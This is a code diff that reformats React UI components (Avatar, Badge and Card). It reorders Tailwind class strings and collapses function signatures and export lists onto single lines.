import { Avatar as AvatarPrimitive } from "@base-ui/react/avatar";
import type * as React from "react";
import { Avatar as AvatarPrimitive } from "@base-ui/react/avatar";
import { cn } from "@/lib/utils";
function Avatar({
@@ -15,7 +16,7 @@ function Avatar({
data-slot="avatar"
data-size={size}
className={cn(
"size-8 rounded-full after:rounded-full data-[size=lg]:size-10 data-[size=sm]:size-6 after:border-border group/avatar relative flex shrink-0 select-none after:absolute after:inset-0 after:border after:mix-blend-darken dark:after:mix-blend-lighten",
"group/avatar relative flex size-8 shrink-0 rounded-full select-none after:absolute after:inset-0 after:rounded-full after:border after:border-border after:mix-blend-darken data-[size=lg]:size-10 data-[size=sm]:size-6 dark:after:mix-blend-lighten",
className,
)}
{...props}
@@ -27,24 +28,18 @@ function AvatarImage({ className, ...props }: AvatarPrimitive.Image.Props) {
return (
<AvatarPrimitive.Image
data-slot="avatar-image"
className={cn(
"rounded-full aspect-square size-full object-cover",
className,
)}
className={cn("aspect-square size-full rounded-full object-cover", className)}
{...props}
/>
);
}
function AvatarFallback({
className,
...props
}: AvatarPrimitive.Fallback.Props) {
function AvatarFallback({ className, ...props }: AvatarPrimitive.Fallback.Props) {
return (
<AvatarPrimitive.Fallback
data-slot="avatar-fallback"
className={cn(
"bg-muted text-muted-foreground rounded-full flex size-full items-center justify-center text-sm group-data-[size=sm]/avatar:text-xs",
"flex size-full items-center justify-center rounded-full bg-muted text-sm text-muted-foreground group-data-[size=sm]/avatar:text-xs",
className,
)}
{...props}
@@ -57,7 +52,7 @@ function AvatarBadge({ className, ...props }: React.ComponentProps<"span">) {
<span
data-slot="avatar-badge"
className={cn(
"bg-primary text-primary-foreground ring-background absolute right-0 bottom-0 z-10 inline-flex items-center justify-center rounded-full bg-blend-color ring-2 select-none",
"absolute right-0 bottom-0 z-10 inline-flex items-center justify-center rounded-full bg-primary text-primary-foreground bg-blend-color ring-2 ring-background select-none",
"group-data-[size=sm]/avatar:size-2 group-data-[size=sm]/avatar:[&>svg]:hidden",
"group-data-[size=default]/avatar:size-2.5 group-data-[size=default]/avatar:[&>svg]:size-2",
"group-data-[size=lg]/avatar:size-3 group-data-[size=lg]/avatar:[&>svg]:size-2",
@@ -73,7 +68,7 @@ function AvatarGroup({ className, ...props }: React.ComponentProps<"div">) {
<div
data-slot="avatar-group"
className={cn(
"*:data-[slot=avatar]:ring-background group/avatar-group flex -space-x-2 *:data-[slot=avatar]:ring-2",
"group/avatar-group flex -space-x-2 *:data-[slot=avatar]:ring-2 *:data-[slot=avatar]:ring-background",
className,
)}
{...props}
@@ -81,15 +76,12 @@ function AvatarGroup({ className, ...props }: React.ComponentProps<"div">) {
);
}
function AvatarGroupCount({
className,
...props
}: React.ComponentProps<"div">) {
function AvatarGroupCount({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="avatar-group-count"
className={cn(
"bg-muted text-muted-foreground size-8 rounded-full text-sm group-has-data-[size=lg]/avatar-group:size-10 group-has-data-[size=sm]/avatar-group:size-6 [&>svg]:size-4 group-has-data-[size=lg]/avatar-group:[&>svg]:size-5 group-has-data-[size=sm]/avatar-group:[&>svg]:size-3 ring-background relative flex shrink-0 items-center justify-center ring-2",
"relative flex size-8 shrink-0 items-center justify-center rounded-full bg-muted text-sm text-muted-foreground ring-2 ring-background group-has-data-[size=lg]/avatar-group:size-10 group-has-data-[size=sm]/avatar-group:size-6 [&>svg]:size-4 group-has-data-[size=lg]/avatar-group:[&>svg]:size-5 group-has-data-[size=sm]/avatar-group:[&>svg]:size-3",
className,
)}
{...props}
@@ -97,11 +89,4 @@ function AvatarGroupCount({
);
}
export {
Avatar,
AvatarImage,
AvatarFallback,
AvatarGroup,
AvatarGroupCount,
AvatarBadge,
};
export { Avatar, AvatarImage, AvatarFallback, AvatarGroup, AvatarGroupCount, AvatarBadge };
+3 -6
View File
@@ -10,14 +10,11 @@ const badgeVariants = cva(
variants: {
variant: {
default: "bg-primary text-primary-foreground [a]:hover:bg-primary/80",
secondary:
"bg-secondary text-secondary-foreground [a]:hover:bg-secondary/80",
secondary: "bg-secondary text-secondary-foreground [a]:hover:bg-secondary/80",
destructive:
"bg-destructive/10 [a]:hover:bg-destructive/20 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 text-destructive dark:bg-destructive/20",
outline:
"border-border text-foreground [a]:hover:bg-muted [a]:hover:text-muted-foreground",
ghost:
"hover:bg-muted hover:text-muted-foreground dark:hover:bg-muted/50",
outline: "border-border text-foreground [a]:hover:bg-muted [a]:hover:text-muted-foreground",
ghost: "hover:bg-muted hover:text-muted-foreground dark:hover:bg-muted/50",
link: "text-primary underline-offset-4 hover:underline",
},
},
+6 -17
View File
@@ -12,7 +12,7 @@ function Card({
data-slot="card"
data-size={size}
className={cn(
"ring-foreground/10 bg-card text-card-foreground gap-2 overflow-hidden rounded-xl pb-6 text-sm shadow-xs ring-1 has-[>img:first-child]:pt-0 data-[size=sm]:gap-4 data-[size=sm]:py-4 *:[img:first-child]:rounded-t-xl *:[img:last-child]:rounded-b-xl group/card flex flex-col",
"group/card flex flex-col gap-2 overflow-hidden rounded-xl bg-card pb-6 text-sm text-card-foreground shadow-xs ring-1 ring-foreground/10 has-[>img:first-child]:pt-0 data-[size=sm]:gap-4 data-[size=sm]:py-4 *:[img:first-child]:rounded-t-xl *:[img:last-child]:rounded-b-xl",
className,
)}
{...props}
@@ -25,7 +25,7 @@ function CardHeader({ className, ...props }: React.ComponentProps<"div">) {
<div
data-slot="card-header"
className={cn(
"gap-1 rounded-t-xl px-6 pt-6 group-data-[size=sm]/card:px-4 [.border-b]:pb-6 group-data-[size=sm]/card:[.border-b]:pb-4 group/card-header @container/card-header grid auto-rows-min items-start has-data-[slot=card-action]:grid-cols-[1fr_auto] has-data-[slot=card-description]:grid-rows-[auto_auto]",
"group/card-header @container/card-header grid auto-rows-min items-start gap-1 rounded-t-xl px-6 pt-6 group-data-[size=sm]/card:px-4 has-data-[slot=card-action]:grid-cols-[1fr_auto] has-data-[slot=card-description]:grid-rows-[auto_auto] [.border-b]:pb-6 group-data-[size=sm]/card:[.border-b]:pb-4",
className,
)}
{...props}
@@ -50,7 +50,7 @@ function CardDescription({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="card-description"
className={cn("text-muted-foreground text-sm", className)}
className={cn("text-sm text-muted-foreground", className)}
{...props}
/>
);
@@ -60,10 +60,7 @@ function CardAction({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="card-action"
className={cn(
"col-start-2 row-span-2 row-start-1 self-start justify-self-end",
className,
)}
className={cn("col-start-2 row-span-2 row-start-1 self-start justify-self-end", className)}
{...props}
/>
);
@@ -84,7 +81,7 @@ function CardFooter({ className, ...props }: React.ComponentProps<"div">) {
<div
data-slot="card-footer"
className={cn(
"rounded-b-xl px-6 group-data-[size=sm]/card:px-4 [.border-t]:pt-6 group-data-[size=sm]/card:[.border-t]:pt-4 flex items-center",
"flex items-center rounded-b-xl px-6 group-data-[size=sm]/card:px-4 [.border-t]:pt-6 group-data-[size=sm]/card:[.border-t]:pt-4",
className,
)}
{...props}
@@ -92,12 +89,4 @@ function CardFooter({ className, ...props }: React.ComponentProps<"div">) {
);
}
export {
Card,
CardHeader,
CardFooter,
CardTitle,
CardAction,
CardDescription,
CardContent,
};
export { Card, CardHeader, CardFooter, CardTitle, CardAction, CardDescription, CardContent };

Some files were not shown because too many files have changed in this diff Show More